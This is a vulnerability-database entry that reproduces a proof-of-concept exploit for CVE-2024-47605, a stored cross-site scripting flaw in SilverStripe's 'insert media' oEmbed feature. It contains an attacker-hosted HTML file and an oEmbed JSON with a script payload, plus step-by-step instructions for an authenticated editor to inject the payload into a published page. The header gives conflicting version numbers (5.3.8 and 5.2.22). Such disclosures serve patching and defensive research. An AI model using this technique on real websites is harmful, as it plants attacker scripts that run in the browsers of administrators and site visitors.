SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated)

🗓️ 14 Apr 2025 00:00:00Reported by James NicollType

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SilverStripe 5.3.8 vulnerable to stored XSS via media insert feature for authenticated users.

Reporter	Title	Published	Views	Family All 15
Circl	CVE-2024-47605	14 Jan 202523:09	–	circl
CNNVD	Silverstripe Asset Admin Module 跨站脚本漏洞	14 Jan 202500:00	–	cnnvd
CVE	CVE-2024-47605	14 Jan 202522:42	–	cve
Cvelist	CVE-2024-47605 Cross-site Scripting via insert media remote file oembed in silverstripe-asset-admin	14 Jan 202522:42	–	cvelist
EUVD	EUVD-2025-0081	3 Oct 202520:07	–	euvd
Friends Of PHP	CVE-2024-47605 - XSS via insert media remote file oembed	14 Jan 202521:24	–	friendsofphp
Github Security Blog	Silverstripe Framework has a XSS via insert media remote file oembed	14 Jan 202522:18	–	github
NVD	CVE-2024-47605	14 Jan 202523:15	–	nvd
OSV	CVE-2024-47605 Cross-site Scripting via insert media remote file oembed in silverstripe-asset-admin	14 Jan 202522:42	–	osv
OSV	GHSA-7CMP-CGG8-4C82 Silverstripe Framework has a XSS via insert media remote file oembed	14 Jan 202522:18	–	osv

# Exploit Title: SilverStripe 5.3.8  - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 2025-01-15
# Exploit Author: James Nicoll
# Vendor Homepage: https://www.silverstripe.org/
# Software Link: https://www.silverstripe.org/download/
# Category: Web Application
# Version: 5.2.22
# Tested on: SilverStripe 5.2.22 - Ubuntu 24.04
# CVE : CVE-2024-47605

## Explanation:
When using the "insert media" functionality, the linked oEmbed JSON includes an HTML attribute which will replace the embed shortcode. The HTML is not sanitized before replacing the shortcode, allowing a script payload to be executed on both the CMS and the front-end of the website.

## Requirements
1. A Silverstripe CMS website.
2. Valid login credentials for a user with page edit rights.
3. An attacker server hosting malicious payload.

## On the attacker server:
1. Create an html file with oembded information:
```
<html>
  <head>
    <link rel="alternate" type="application/json+oembed" href="http://<attacker_server_ip>/oembed.json" title="Payload" />
  </head>
  <body>
    <img src="media.jpg">
  </body>
</html>
```
2. Create the json file with XSS payload:
```
{
    "title": "Title",
    "author_name": "author",
    "type": "video",
    "height": 113,
    "width": 200,
    "version": "1.0",
    "provider_name": "FakeSite",
    "thumbnail_height": 360,
    "thumbnail_width": 480,
    "thumbnail_url": "http://<attacker_server_ip>/media.jpg",
    "html":"<script>alert('hello world');</script>"
}
```
3. The media.jpg file can be any image.
4. Host these files on a publicly available website

## On the SilverStripe website:
1. Log into the admin portal with a user account that has page editor rights (or higher).
2. Select the page you wish to load the malicious content into.
3. Within the editor panel, select the "Insert Media via URL" button.
4. Enter the IP/Hostname of the attacker server.
5. Click Add Media, Insert Media, and then save and publish the page.

14 Apr 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 3.15.4

EPSS0.05366

SSVC